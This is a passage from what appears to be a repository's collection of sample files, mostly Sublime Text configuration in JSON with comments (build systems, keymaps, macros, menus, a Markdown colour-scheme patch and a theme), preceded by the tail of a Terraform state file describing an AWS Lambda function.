\"aws_lambda_function\",\n\t\t\t\t\t\t\t\t\t\t\"depends_on\": [\n\t\t\t\t\t\t\t\t\t\t\t\t\"aws_iam_role.iam_for_lambda\"\n\t\t\t\t\t\t\t\t\t\t],\n\t\t\t\t\t\t\t\t\t\t\"primary\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"query-fitbit\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"attributes\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"arn\": \"arn:aws:lambda:us-east-1:387412527620:function:query-fitbit\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"dead_letter_config.#\": \"0\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"description\": \"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"environment.#\": \"0\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"filename\": \"../lambda/query-fitbit.zip\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"function_name\": \"query-fitbit\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"handler\": \"exports.handler\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"query-fitbit\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"invoke_arn\": \"arn:aws:apigateway:us-east-1:lambda:path/2015-03-31/functions/arn:aws:lambda:us-east-1:387412527620:function:query-fitbit/invocations\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"kms_key_arn\": \"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"last_modified\": \"2018-01-27T04:11:31.185+0000\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"memory_size\": \"128\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"publish\": \"false\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"qualified_arn\": \"arn:aws:lambda:us-east-1:387412527620:function:query-fitbit:$LATEST\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"reserved_concurrent_executions\": \"0\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"role\": \"arn:aws:iam::387412527620:role/iam_for_lambda\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"runtime\": \"nodejs6.10\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"source_code_hash\": \"mNFY3lZD4jFsVq/f353zMD9MLSBvoaEbObIB1KBnxq4=\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"tags.%\": \"0\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"timeout\": \"3\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"tracing_config.#\": \"1\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"tracing_config.0.mode\": \"PassThrough\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"version\": \"$LATEST\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"vpc_config.#\": \"0\"\n\t\t\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t\t\t\t\"meta\": {},\n\t\t\t\t\t\t\t\t\t\t\t\t\"tainted\": false\n\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t\t\"deposed\": [],\n\t\t\t\t\t\t\t\t\t\t\"provider\": \"provider.aws\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"depends_on\": []\n\t\t\t\t}\n\t\t]\n}\n"
  },
  {
    "path": "samples/JSON with Comments/AMPL.sublime-build",
    "content": "{\n\t\"cmd\": [\"ampl\", \"${file_path}/${file_base_name}.run\"],\n\t\"file_regex\": \"^(?:[(]file )*[ ]*(...*?), line ([0-9]*)\",\n\t\"selector\": \"source.ampl\",\n\n\t\"osx\":\n\t{\n\t\t\"env\":\n\t\t{\n\t\t\t// \"ILOG_LICENSE_FILE\": \"path/to/access.ilm\"\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "samples/JSON with Comments/CLIPS.sublime-settings",
    "content": "{\n\t\"extensions\":\n\t[\n\t\t\"clp\"\n\t],\n\t\"tab_size\": 8,\n\t\"translate_tabs_to_spaces\": false\n}\n"
  },
  {
    "path": "samples/JSON with Comments/Context.sublime-menu",
    "content": "[\n{\n\t\"id\" : \"nasm\",\n\t\"caption\": \"NASM Assembly\",\n\t\"children\":\n\t[\n\t{\n\t\t\"caption\" : \"Documentation\",\n\t\t\"command\" : \"assembly_doc\"\n\t}\n\t]\n}\n]"
  },
  {
    "path": "samples/JSON with Comments/Dart.sublime-commands",
    "content": "[\n\t{ \"caption\": \"Dart: Polymer: Generate Element\", \"command\": \"dart_generate_polymer_element\" },\n\t{ \"caption\": \"Dart: Polymer: Add Entry Point\", \"command\": \"dart_add_polymer_entry_point\" },\n\n\t{ \"caption\": \"Dart: Check Configuration\", \"command\": \"dart_check_config\" },\n\t{ \"caption\": \"Dart: Browse API Reference\", \"command\": \"dart_open_browser\", \"args\": {\"url\": \"https://api.dartlang.org/apidocs/channels/stable/dartdoc-viewer/home\" } },\n\t{ \"caption\": \"Dart: Set Default User Browser\", \"command\": \"dart_show_user_browsers\" },\n\n\t{ \"caption\": \"Preferences: Dart Settings - Default\", \"command\": \"dart_open_settings\", \"args\": {\"kind\": \"default\"} },\n\t{ \"caption\": \"Preferences: Dart Settings - User\", \"command\": \"dart_open_settings\", \"args\": {\"kind\": \"user\"} },\n\t{ \"caption\": \"Preferences: Dart Settings - File Type (User)\", \"command\": \"dart_open_settings\", \"args\": {\"kind\": \"user\", \"scope\": \"file_type\"} },\n\n\t{ \"caption\": \"Dart: Run\", \"command\": \"dart_smart_run\" },\n\t{ \"caption\": \"Dart: Run (This File)\", \"command\": \"dart_smart_run\", \"args\": {\"force_update\": true} },\n\t{ \"caption\": \"Dart: Stop\", \"command\": \"dart_smart_run\", \"args\": {\"kill_only\": true} },\n\n\t{ \"caption\": \"Dart: Run In Observatory (This File)\", \"command\": \"dart_run_in_observatory\" },\n\n\t{ \"caption\": \"Dart: Show Output Panel\", \"command\": \"show_panel\", \"args\": {\"panel\": \"output.dart.out\"} },\n\t{ \"caption\": \"Dart: Show Errors Panel\", \"command\": \"show_panel\", \"args\": {\"panel\": \"output.dart.errors\"} },\n\n\t{ \"caption\": \"Dart: Format\", \"command\": \"dart_format\" },\n\n\t{ \"caption\": \"Dart: Generate Documentation\", \"command\": \"dart_generate_docs\" },\n\t{ \"caption\": \"Dart: Serve Documentation\", \"command\": \"dart_serve_docs\" },\n\n\t{ \"caption\": \"Dart: Stagehand\", \"command\": \"dart_stagehand_wizard\" },\n\n\t{ \"caption\": \"Dart: Pub Get\", \"command\": \"dart_pub_get\" }\n]\n"
  },
  {
    "path": "samples/JSON with Comments/Dart.sublime-project",
    "content": "{\n\t\"folders\":\n\t[\n\t\t{\n\t\t\t\"follow_symlinks\": true,\n\t\t\t\"path\": \".\"\n\t\t}\n\t],\n\n\t\"SublimeLinter\":\n\t{\n\t\t\"@python\": 3.4\n\t},\n\n\t\"build_systems\":\n\t[\n\t\t{\n\t\t\t\"name\": \"Run\",\n\t\t\t\"shell_cmd\": \"\\\"$project_path/scripts/build.sh\\\"\",\n\t\t\t\"windows\":\n\t\t\t{\n\t\t\t\t\"shell_cmd\": \"powershell -noninteractive -file \\\"$project_path\\\\build.ps1\\\"\"\n\t\t\t},\n\t\t\t\"working_dir\": \"${project_path}\",\n\n\t\t\t\"variants\": [\n\t\t\t\t{\n\t\t\t\t\t\"name\": \"Dart: Test (All)\",\n\t\t\t\t\t\"target\": \"run_dart_tests\",\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\t\"name\": \"Dart: Test (This File Only)\",\n\t\t\t\t\t\"target\": \"run_dart_tests\",\n\t\t\t\t\t\"active_file_only\": true\n\t\t\t\t}\n\t\t\t]\n\t\t}\n\t]\n}\n"
  },
  {
    "path": "samples/JSON with Comments/Default (Linux).sublime-mousemap",
    "content": "[\n\t{\n\t\t\"button\": \"button1\", \"count\": 1, \"modifiers\": [\"alt\"],\n\t\t\"press_command\": \"drag_select\",\n\t\t\"command\": \"robot_go_to_keyword\"\n\t}\n]\n"
  },
  {
    "path": "samples/JSON with Comments/Default.sublime-keymap",
    "content": "[\n\t// Disable auto-pair for single quote\n\t{ \"keys\": [\"'\"], \"command\": \"insert_snippet\", \"args\": {\"contents\": \"'\"}, \"context\":\n\t\t[{ \"key\": \"selector\", \"operator\": \"equal\", \"operand\": \"source.rust\" }]\n\t}\n]\n"
  },
  {
    "path": "samples/JSON with Comments/JavaDoc Add Line.sublime-macro",
    "content": "[\n\t{\"command\": \"move_to\", \"args\": {\"to\": \"hardeol\"}},\n\t{\"command\": \"insert\", \"args\": {\"characters\": \"\\n\"}},\n\t{\"command\": \"insert\", \"args\": {\"characters\": \"*\"}},\n\t{\"command\": \"insert\", \"args\": {\"characters\": \" \"}}\n]\n"
  },
  {
    "path": "samples/JSON with Comments/Mariana.sublime-color-scheme",
    "content": "// This patch for Mariana.sublime-color-scheme adds some Markdown specific color definitions\n// while making use of well defined colors for code blocks.\n{\n\t\"variables\": {\n\t\t\"line_break\": \"hsl(210, 15%, 20%)\",\n\t\t\"raw_fg\": \"hsl(210, 10%, 60%)\",\n\t\t\"raw_bg\": \"hsl(210, 15%, 20%)\"\n\t},\n\t\"rules\": [\n\n\t\t// Frontmatter\n\t\t{\n\t\t\t\"name\": \"Frontmatter: Mapping Key Names\",\n\t\t\t\"scope\": \"text.html.markdown meta.mapping.key string, text.html.markdown meta.mapping.key constant.language, text.html.markdown meta.mapping.key constant.numeric\",\n\t\t\t\"foreground\": \"var(blue5)\"\n\t\t},\n\n\t\t// Basic Formattings\n\t\t{\n\t\t\t\"name\": \"Markdown: Bold Content\",\n\t\t\t\"scope\": \"text.html.markdown markup.bold - punctuation.definition.bold\",\n\t\t\t\"font_style\": \"bold\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Bold Punctuation\",\n\t\t\t\"scope\": \"text.html.markdown punctuation.definition.bold\",\n\t\t\t\"font_style\": \"\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Italic Content\",\n\t\t\t\"scope\": \"text.html.markdown markup.italic - punctuation.definition.italic\",\n\t\t\t\"font_style\": \"italic\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Italic Punctuation\",\n\t\t\t\"scope\": \"text.html.markdown punctuation.definition.italic\",\n\t\t\t\"font_style\": \"\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Bold Italic Content\",\n\t\t\t\"scope\": \"text.html.markdown markup.bold markup.italic - punctuation.definition.bold - punctuation.definition.italic, text.html.markdown markup.bold_italic - punctuation.definition.bold\",\n\t\t\t\"font_style\": \"bold italic\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Underlined Content\",\n\t\t\t\"scope\": \"text.html.markdown markup.underline\",\n\t\t\t\"font_style\": \"underline\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Bold Underlined Content\",\n\t\t\t\"scope\": \"text.html.markdown & markup.bold & markup.underline - punctuation.definition.bold\",\n\t\t\t\"font_style\": \"bold underline\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Italic Underlined Content\",\n\t\t\t\"scope\": \"text.html.markdown & markup.italic & markup.underline - punctuation.definition.italic\",\n\t\t\t\"font_style\": \"italic underline\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Bold Italic Underlined Content\",\n\t\t\t\"scope\": \"text.html.markdown & markup.bold & markup.italic & markup.underline - punctuation.definition.bold - punctuation.definition.italic\",\n\t\t\t\"font_style\": \"bold underline\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Striked Content\",\n\t\t\t\"scope\": \"text.html.markdown markup.strikethrough, text.html.markdown markup.strikethrough string\",\n\t\t\t\"foreground\": \"var(blue4)\",\n\t\t\t\"font_style\": \"\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Striked Punctuations\",\n\t\t\t\"scope\": \"text.html.markdown markup.strikethrough & (punctuation.definition | punctuation.separator | punctuation.definition.strikethrough | punctuation.definition.constant | punctuation.definition.image | punctuation.definition.link | punctuation.definition.metadata | markup.bold punctuation.definition.bold | markup.italic punctuation.definition.italic | string punctuation.definition.string)\",\n\t\t\t\"foreground\": \"var(blue6)\",\n\t\t\t\"font_style\": \"\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Striked URLs\",\n\t\t\t\"scope\": \"text.html.markdown markup.strikethrough & (markup.underline.link.markdown | markup.underline.link.image.markdown)\",\n\t\t\t\"foreground\": \"var(blue4)\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Hard Line Breaks\",\n\t\t\t\"scope\": \"text.html.markdown punctuation.definition.hard-line-break\",\n\t\t\t\"background\": \"var(line_break)\"\n\t\t},\n\n\t\t// Block Quotes\n\t\t{\n\t\t\t\"name\": \"Markdown: Block Quotes\",\n\t\t\t\"scope\": \"text.html.markdown markup.quote punctuation.definition.blockquote, text.html.markdown markup.quote punctuation.definition.quote\",\n\t\t\t\"foreground\": \"var(blue2)\",\n\t\t\t\"background\": \"var(blue2)\"\n\t\t},\n\n\t\t// Code Blocks\n\t\t{\n\t\t\t\"name\": \"Markdown: Inline Code Block\",\n\t\t\t\"scope\": \"text.html.markdown markup.raw.inline\",\n\t\t\t\"foreground\": \"var(raw_fg)\",\n\t\t\t\"background\": \"var(raw_bg)\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Raw Code Block\",\n\t\t\t\"scope\": \"text.html.markdown markup.raw, text.html.markdown meta.code-fence\",\n\t\t\t\"foreground\": \"var(raw_fg)\",\n\t\t\t\"background\": \"var(raw_bg)\"\n\t\t},\n\n\t\t// Inline References\n\t\t{\n\t\t\t\"name\": \"Markdown: Link Description\",\n\t\t\t\"scope\": \"(meta.image.inline.description.markdown, meta.image.reference.description.markdown, meta.link.inline.description.markdown, meta.link.reference.description.markdown, meta.link.reference.literal.description.markdown, meta.link.reference.wiki.description.markdown) - comment - constant - entity - punctuation - string - markup.strikethrough\",\n\t\t\t\"foreground\": \"var(blue)\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Inline Link URL\",\n\t\t\t\"scope\": \"text.html.markdown meta.link.inline markup.underline.link\",\n\t\t\t\"foreground\": \"var(pink)\"\n\t\t},\n\n\t\t// Keyboard Shortcuts\n\t\t{\n\t\t\t\"name\": \"Markdown: Keyboard Shortcut Background\",\n\t\t\t\"scope\": \"text.html.markdown markup.kbd\",\n\t\t\t\"background\": \"var(raw_bg)\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Keyboard Shortcut Tags\",\n\t\t\t\"scope\": \"text.html.markdown markup.kbd entity.name.tag, text.html.markdown markup.kbd punctuation.definition.tag\",\n\t\t\t\"foreground\": \"var(raw_fg)\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Keyboard Shortcut Content\",\n\t\t\t\"scope\": \"text.html.markdow markup.kbd.content\",\n\t\t\t\"foreground\": \"var(blue)\"\n\t\t},\n\n\t\t// Tables\n\t\t{\n\t\t\t\"name\": \"Markdown: Table Separators / Lines\",\n\t\t\t\"scope\": \"text.html.markdown meta.table.header-separator punctuation.section, text.html.markdown punctuation.section.table-header, text.html.markdown punctuation.separator.table-cell\",\n\t\t\t\"foreground\": \"var(blue4)\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"Markdown: Table Cell Content Alignment Operator\",\n\t\t\t\"scope\": \"text.html.markdown meta.table.header-separator punctuation.definition\",\n\t\t\t\"foreground\": \"var(pink)\"\n\t\t}\n\t]\n}\n"
  },
  {
    "path": "samples/JSON with Comments/RunBuild.sublime-macro",
    "content": "[\n\t{\n\t\t\"command\": \"haxe_run_build\"\n\t}\n]\n"
  },
  {
    "path": "samples/JSON with Comments/SourcePawn.sublime-build",
    "content": "{\n\t// For default sourcemod scripting directory :\n\t\"cmd\": [\"<spcomp_path>\", \"-o$file_path/../plugins/$file_name\", \"$file\"],\n\n\t// For custom sourcemod  scripting directory :\n\t\"cmd\": [\"<spcomp_path>\", \"-i<include_path>\", \"-o$file_path/$file_base_name.smx\", \"$file\"],\n\n\t// Windows example:\n\t\"cmd\": [\"X:/somefolder/spcomp\", \"-iX:/somefolder\", \"-o$file_path/$file_base_name.smx\", \"$file\"],\n\t\"cmd\": [\"X:/game/csgo/addons/sourcemod/scripting/spcomp\", \"-o$file_path/../plugins/$file_name\", \"$file\"],\n\n\t// Linux or OSX example:\n\t\"cmd\": [\"/home/User/sm/spcomp\", \"-i/home/User/sm/include\", \"-o$file_path/$file_base_name.smx\", \"$file\"],\n\t\"cmd\": [\"/home/User/game/csgo/addons/sourcemod/scripting/spcomp\", \"-o$file_path/../plugins/$file_name\", \"$file\"],\n\n\n\t\"file_regex\": \"(.*)\\\\((\\\\d+)\\\\) :\",\n\t\"selector\": \"source.sp\"\n}\n"
  },
  {
    "path": "samples/JSON with Comments/Tubnil.sublime-theme",
    "content": "[\n\t//\tTubnil theme for Sublime Text 2\n\t//\thttps://github.com/nilium/st2-nil-theme\n\t//\n\t//\tTABS\n\t//\t==========================================================\n\t//\t- Tabset\n\t//\t------------------------------------------------------\n\t{\n\t\t\"class\": \"tabset_control\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/tabset-bg.png\",\n\t\t\"layer0.inner_margin\": [2, 6],\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [-13, 0, -13,-6], // left, top, right, bottom\n\t\t\"tab_overlap\": 25,\n\t\t\"tab_width\": 150,\n\t\t\"tab_min_width\": 50,\n\t\t\"tab_height\": 35,\n\t\t\"mouse_wheel_switch\": false\n\t},\n\t{\n\t\t\"class\": \"tabset_control\",\n\t\t\"settings\": [\"mouse_wheel_switches_tabs\"],\n\t\t\"mouse_wheel_switch\": true\n\t},\n\n\t//\t- Tab element\n\t//\t------------------------------------------------------\n\t{\n\t\t\"class\": \"tab_control\",\n\t\t\"content_margin\": [25, 0, 25, 0],\n\t\t\"max_margin_trim\": 0,\n\t\t\"hit_test_level\": 0.5,\n\n\t\t//\t- Inactive tab settings\n\t\t\"layer0.texture\": \"SourcePawn/assets/tab-inactive.png\",\n\t\t\"layer0.inner_margin\": [23, 8],\n\t\t\"layer0.opacity\": 1.0,\n\n\t\t//\t- Active tab setting\n\t\t\"layer1.texture\": \"SourcePawn/assets/tab-active.png\",\n\t\t\"layer1.inner_margin\": [23, 8],\n\t\t\"layer1.opacity\": 0.0,\n\n\t\t//\t- Hover tab setting\n\t\t\"layer2.texture\": \"SourcePawn/assets/tab-hover.png\",\n\t\t\"layer2.inner_margin\": [23, 8],\n\t\t\"layer2.opacity\": 0.0\n\t},\n\t{\n\t\t//\t- Tab close state\n\t\t\"class\": \"tab_control\",\n\t\t\"settings\": [\"show_tab_close_buttons\"],\n\t\t\"content_margin\": [20, 0, 20, 7]\n\t},\n\t{\n\t\t//\t- Hover tab state\n\t\t\"class\": \"tab_control\",\n\t\t\"attributes\": [\"hover\"],\n\t\t\"layer2.opacity\": 1.0\n\t},\n\t{\n\t\t//\t- Active tab state\n\t\t\"class\": \"tab_control\",\n\t\t\"attributes\": [\"selected\"],\n\t\t\"layer0.opacity\": 0.0,\n\t\t\"layer1.opacity\": 1.0,\n\t\t\"layer2.opacity\": 0.0\n\t},\n\t{\n\t\t//  - Modified tab state\n\t\t\"class\": \"tab_control\",\n\t\t//\"settings\": [\"highlight_modified_tabs\"],\n\t\t\"attributes\": [\"dirty\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/tab-inactive-modified.png\",\n\t\t\"layer1.texture\": \"SourcePawn/assets/tab-active-modified.png\",\n\t\t\"layer2.texture\": \"SourcePawn/assets/tab-hover-dirty.png\"\n\t},\n\n\t//\t- Tab labels\n\t//\t------------------------------------------------------\n\n\t//\t- Inactive tab label\n\t{\n\t\t\"class\": \"tab_label\",\n\t\t\"fg\": [180, 180, 180],\n\t\t\"shadow_color\": [0, 0, 0, 200],\n\t\t\"shadow_offset\": [0, 1]\n\t},\n\n\t//\t- Active tab label\n\t{\n\t\t\"class\": \"tab_label\",\n\t\t\"parents\": [{\"class\": \"tab_control\", \"attributes\": [\"selected\"]}],\n\t\t\"shadow_color\": [0, 0, 0, 165],\n\t\t\"shadow_offset\": [0, 1],\n\t\t\"fg\": [240, 240, 240, 255]\n\t},\n\n\t//\t- Hover tab label\n\t{\n\t\t\"class\": \"tab_label\",\n\t\t\"parents\": [{\"class\": \"tab_control\", \"attributes\": [\"hover\"]}],\n\t\t\"shadow_color\": [0, 0, 0, 165],\n\t\t\"shadow_offset\": [0, 1],\n\t\t\"fg\": [2, 196, 251, 255]\n\t},\n\n\t//\t- Dirty Hover tab label\n\t{\n\t\t\"class\": \"tab_label\",\n\t\t\"parents\": [{\"class\": \"tab_control\", \"attributes\": [\"hover\", \"dirty\"]}],\n\t\t\"shadow_color\": [0, 0, 0, 165],\n\t\t\"shadow_offset\": [0, 1],\n\t\t\"fg\": [253, 113, 1, 255]\n\t},\n\n\t// - Dirty inactive tab label\n\t{\n\t\t\"class\": \"tab_label\",\n\t\t\"parents\": [{\"class\": \"tab_control\", \"attributes\": [\"dirty\"]}],\n\t\t\"settings\": [\"highlight_modified_tabs\"]\n\t},\n\n\t// - Dirty active tab label\n\t{\n\t\t\"class\": \"tab_label\",\n\t\t\"parents\": [{\"class\": \"tab_control\", \"attributes\": [\"selected\", \"dirty\"]}],\n\t\t\"settings\": [\"highlight_modified_tabs\"]\n\t},\n\n\t//\t- Tab buttons\n\t//\t------------------------------------------------------\n\n\t//\t- Tab button\n\t{\n\t\t\"class\": \"tab_close_button\",\n\t\t\"content_margin\": [0, 0],\n\n\t\t//\t- Tab close default settings\n\t\t\"layer1.texture\": \"SourcePawn/assets/tab-button-close.png\",\n\t\t\"layer1.opacity\": 0.0, // hide by default\n\t\t\"layer1.inner_margin\": 0.0,\n\n\t\t//\t- Tab close hover settings\n\t\t\"layer0.texture\": \"SourcePawn/assets/tab-button-close-hover.png\",\n\t\t\"layer0.opacity\": 0.0\n\t},\n\t{\n\t\t//\t- Tab button size\n\t\t\"class\": \"tab_close_button\",\n\t\t\"settings\": [\"show_tab_close_buttons\"],\n\t\t\"content_margin\": [8, 8]\n\t},\n\t{\n\t\t\"class\": \"tab_close_button\",\n\t\t\"parents\": [{\"class\": \"tab_control\", \"attributes\": [\"dirty\"]}],\n\t\t\"layer1.texture\": \"SourcePawn/assets/tab-button-close-dirty.png\"\n\t},\n\t{\n\t\t//\t- Tab close hover action\n\t\t\"class\": \"tab_close_button\",\n\t\t\"parents\": [{\"class\": \"tab_control\", \"attributes\": [\"hover\"]}],\n\t\t\"layer1.opacity\": 0.0,\n\t\t\"layer0.opacity\": 1.0\n\t},\n\t{\n\t\t//\t- Tab close press action\n\t\t\"class\": \"tab_close_button\",\n\t\t\"attributes\": [\"hover\"],\n\t\t\"layer1.opacity\": 0.4,\n\t\t\"layer0.opacity\": 1.0\n\t},\n\t{\n\t\t//\t- Tab close press action\n\t\t\"class\": \"tab_close_button\",\n\t\t\"attributes\": [\"pressed\"],\n\t\t\"layer1.opacity\": 1.0,\n\t\t\"layer0.opacity\": 0.0\n\t},\n\n//\tFOLD BUTTONS\n//\t==========================================================\n\n\t{\n\t\t\"class\": \"fold_button_control\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/arrow-right.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"layer0.inner_margin\": 0,\n\t\t\"layer1.texture\": \"SourcePawn/assets/arrow-right-hover.png\",\n\t\t\"layer1.opacity\": 0.0,\n\t\t\"layer1.inner_margin\": 0,\n\t\t\"content_margin\": [9, 7, 8, 6]\n\t},\n\t{\n\t\t\"class\": \"fold_button_control\",\n\t\t\"attributes\": [\"hover\"],\n\t\t\"layer0.opacity\": 0.0,\n\t\t\"layer1.opacity\": 0.75\n\t},\n\t{\n\t\t\"class\": \"fold_button_control\",\n\t\t\"attributes\": [\"pressed\"],\n\t\t\"layer0.opacity\": 0.0,\n\t\t\"layer1.opacity\": 1.0\n\t},\n\t{\n\t\t\"class\": \"fold_button_control\",\n\t\t\"attributes\": [\"expanded\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/arrow-down.png\",\n\t\t\"layer1.texture\": \"SourcePawn/assets/arrow-down-hover.png\"\n\t},\n\n//\tSCROLLBARS (overlay scrollbars from Default theme)\n//\t==========================================================\n\t{\n\t\t\"class\": \"scroll_bar_control\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/scrollbar/well-vertical.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"layer0.inner_margin\": [1, 1],\n\t\t\"blur\": false\n\t},\n\t{\n\t\t\"class\": \"scroll_bar_control\",\n\t\t\"attributes\": [\"horizontal\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/scrollbar/well-horizontal.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"layer0.inner_margin\": [1, 1],\n\t\t\"blur\": false\n\t},\n\t{\n\t\t\"class\": \"scroll_corner_control\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/scrollbar/well-corner.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"layer0.inner_margin\": [1, 1]\n\t},\n\t{\n\t\t\"class\": \"puck_control\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/scrollbar/bar-vertical.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"layer0.inner_margin\": [3, 3],\n\t\t\"content_margin\": [6, 6],\n\t\t\"blur\": false\n\t},\n\t{\n\t\t\"class\": \"puck_control\",\n\t\t\"attributes\": [\"horizontal\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/scrollbar/bar-horizontal.png\"\n\t},\n\t{\n\t\t\"class\": \"scroll_area_control\",\n\t\t\"settings\": [\"overlay_scroll_bars\"],\n\t\t\"overlay\": true\n\t},\n\t{\n\t\t\"class\": \"scroll_area_control\",\n\t\t\"settings\": [\"!overlay_scroll_bars\"],\n\t\t\"overlay\": false\n\t},\n\t{\n\t\t\"class\": \"scroll_bar_control\",\n\t\t\"settings\": [\"overlay_scroll_bars\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/overlay/overlay_bar_vertical.png\",\n\t\t\"layer0.inner_margin\": [0, 5],\n\t\t\"blur\": true\n\t},\n\t{\n\t\t\"class\": \"scroll_bar_control\",\n\t\t\"settings\": [\"overlay_scroll_bars\"],\n\t\t\"attributes\": [\"horizontal\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/overlay/overlay_bar_horizontal.png\",\n\t\t\"layer0.inner_margin\": [5, 0],\n\t\t\"blur\": true\n\t},\n\t{\n\t\t\"class\": \"puck_control\",\n\t\t\"settings\": [\"overlay_scroll_bars\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/overlay/overlay_thumb_vertical.png\",\n\t\t\"layer0.inner_margin\": [0, 5],\n\t\t\"content_margin\": [5, 20],\n\t\t\"blur\": true\n\t},\n\t{\n\t\t\"class\": \"puck_control\",\n\t\t\"settings\": [\"overlay_scroll_bars\"],\n\t\t\"attributes\": [\"horizontal\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/overlay/overlay_thumb_horizontal.png\",\n\t\t\"layer0.inner_margin\": [5, 0],\n\t\t\"content_margin\": [20, 5],\n\t\t\"blur\": true\n\t},\n\t{\n\t\t\"class\": \"puck_control\",\n\t\t\"settings\": [\"overlay_scroll_bars\"],\n\t\t\"attributes\": [\"dark\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/overlay/overlay_dark_thumb_vertical.png\"\n\t},\n\t{\n\t\t\"class\": \"puck_control\",\n\t\t\"settings\": [\"overlay_scroll_bars\"],\n\t\t\"attributes\": [\"horizontal\", \"dark\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/overlay/overlay_dark_thumb_horizontal.png\"\n\t},\n\n//\tEMPTY WINDOW BACKGROUND\n//\t==========================================================\n\t{\n\t\t\"class\": \"sheet_container_control\",\n\t\t\"layer0.tint\": [16, 16, 16],\n\t\t\"layer0.opacity\": 1.0\n\t},\n\n//\tGRID LAYOUT\n//\t==========================================================\n\t{\n\t\t\"class\": \"grid_layout_control\",\n\t\t\"border_size\": 1,\n\t\t\"border_color\": [32, 32, 32]\n\t},\n\n//\tMINI MAP\n//\t==========================================================\n\t{\n\t\t\"class\": \"minimap_control\",\n\t\t\"viewport_color\": [185, 185, 185, 50]\n\t},\n\n//\tLABELS\n//\t==========================================================\n\t// \t- General labels\n\t{\n\t\t\"class\": \"label_control\",\n\t\t\"color\": [230, 230, 230]\n\t},\n\t//\t- Text field labels\n\t{\n\t\t\"class\": \"label_control\",\n\t\t\"parents\": [{\"class\": \"panel_control\"}],\n\t\t\"shadow_color\": [0, 0, 0],\n\t\t\"shadow_offset\": [0, 1]\n\t},\n\t//\t- Button labels\n\t{\n\t\t\"class\": \"label_control\",\n\t\t\"parents\": [{\"class\": \"button_control\"}],\n\t\t\"color\": [230, 230, 230],\n\t\t\"shadow_color\": [0, 0, 0],\n\t\t\"shadow_offset\": [0, 1]\n\t},\n\n//\tTOOLTIP\n//\t==========================================================\n\t//\t- Tooltip container\n\t{\n\t\t\"class\": \"tool_tip_control\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/tooltip.png\",\n\t\t\"layer0.inner_margin\": [4, 4],\n\t\t\"layer0.opacity\": 1,\n\t\t\"content_margin\": [6, 4]\n\t},\n\t//\t- Tooltip content\n\t{\n\t\t\"class\": \"tool_tip_label_control\",\n\t\t\"color\": [160, 160, 